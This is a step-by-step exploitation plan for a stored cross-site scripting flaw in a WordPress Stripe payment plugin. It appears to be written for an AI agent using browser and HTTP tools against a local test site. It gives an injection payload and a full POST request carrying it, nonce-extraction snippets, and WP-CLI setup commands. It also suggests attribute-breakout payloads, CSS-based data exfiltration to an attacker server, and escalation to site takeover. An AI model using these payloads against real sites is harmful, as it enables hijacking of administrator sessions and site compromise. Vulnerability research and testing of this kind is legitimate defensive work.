Research Plan: CVE-2026-0751 - Stored XSS in Payment Page | Payment Form for Stripe

1. Vulnerability Summary

The Payment Page | Payment Form for Stripe plugin (<= 1.4.6) is vulnerable to Stored Cross-Site Scripting (XSS) via the pricing_plan_select_text_font_family parameter. The vulnerability exists because the plugin fails to sanitize this parameter when saving pricing plan configurations and subsequently fails to escape the value when rendering it on the frontend. This allows an authenticated attacker with Author-level permissions or higher to inject malicious JavaScript that executes in the context of any user (including administrators) viewing the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (inferred) or an AJAX handler used for saving pricing plan settings.
• Vulnerable Parameter: pricing_plan_select_text_font_family
• Required Authentication: Author level or higher (Users who can create or edit pricing plans/posts).
• Preconditions: The plugin must be active, and a "Pricing Plan" or "Payment Page" must be created/edited.
• Payload Context: Likely injected into a <style> block or an inline style attribute on the frontend pricing table/form.

3. Code Flow (Inferred)

1. Input Stage: An Author user submits a request to save a pricing plan. The request includes the pricing_plan_select_text_font_family parameter.
2. Persistence Stage: The plugin's save handler (likely hooked to save_post or a custom AJAX action) retrieves the POST data. It fails to use sanitize_text_field() or a similar function on the pricing_plan_select_text_font_family key before calling update_post_meta().
3. Retrieval Stage: When a frontend page containing the payment form/pricing plan shortcode is loaded, the plugin calls get_post_meta() to fetch the configuration.
4. Output Stage: The value is echoed into the HTML (e.g., inside a <select> font-family CSS rule or as a data attribute) without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Since the vulnerability requires Author-level access, the attacker will typically be logged into the WordPress dashboard.

1. Shortcode Identification: Identify the plugin's primary shortcode (likely [payment-page] or [pricing-plan]).
2. Page Creation: Create a post containing this shortcode to trigger the frontend rendering.

   wp post create --post_type=page --post_status=publish --post_title="Payment Test" --post_content='[payment-page]'
   

3. Nonce Extraction (Admin/Edit Context): If the exploit is performed via the standard WordPress post editor, the _wpnonce from the edit form is required.
   • Use browser_navigate to wp-admin/post-new.php?post_type=payment_page (or the specific CPT slug).
   • Use browser_eval to get the nonce: document.querySelector('#_wpnonce').value.
4. JS Variable Localization: If the plugin uses AJAX for saving, check for a localized object:
   • browser_eval("window.payment_page_params?.nonce") (inferred).

5. Exploitation Strategy

Step 1: Authentication and Setup

1. Authenticate as an Author user.
2. Identify the Custom Post Type (CPT) used by the plugin for pricing plans (e.g., payment_page).

Step 2: Payload Construction

The payload must break out of the intended context (likely a CSS property or an HTML attribute).
Payload: Arial';}</style><script>alert(document.domain)</script>

Step 3: Injection Request

Using the http_request tool, perform a POST request to save the malicious value.

Example Request (Standard Post Save):

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=editpost
  post_ID=[POST_ID]
  _wpnonce=[NONCE]
  pricing_plan_select_text_font_family=Arial';}</style><script>alert(document.domain)</script>
  

(Note: Use http_request with the Author's cookies).

Step 4: Execution

Navigate to the frontend page where the pricing plan is displayed.

6. Test Data Setup

1. Create Author User:

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

2. Create a Payment Page Object:

   wp post create --post_type=payment_page --post_title="Malicious Plan" --post_status=publish --post_author=[AUTHOR_ID]
   

3. Publish a page with the shortcode:

   wp post create --post_type=page --post_title="Pricing Frontend" --post_content='[payment-page id="[PLAN_ID]"]' --post_status=publish
   

7. Expected Results

• The POST request should return a 302 Redirect back to the post edit page, indicating a successful save.
• When viewing the "Pricing Frontend" page, an alert box with the document domain should appear.
• Viewing the page source should reveal the unescaped script tag:

  <style> .select-text { font-family: Arial';}</style><script>alert(document.domain)</script>; } </style>
  

8. Verification Steps

1. Verify Database State: Use WP-CLI to check if the payload is stored in the postmeta table.

   wp post meta get [PLAN_ID] pricing_plan_select_text_font_family
   

2. Check Frontend Output: Use the http_request tool to fetch the frontend page and grep for the script tag.

   # In the tool:
   GET http://localhost:8080/pricing-frontend/
   # Verify the response body contains the payload verbatim
   

9. Alternative Approaches

• Attribute Breakout: If the value is echoed inside an input's value attribute:
  • Payload: "><script>alert(1)</script>
• CSS Injection (Blind): If the JS is blocked, attempt to exfiltrate data using CSS background:url() pointing to an attacker-controlled server.
• Admin Context: Since the setting is visible in the WP Dashboard, verify if the XSS also triggers when an Administrator edits the plan in wp-admin. This would elevate the impact to full site takeover.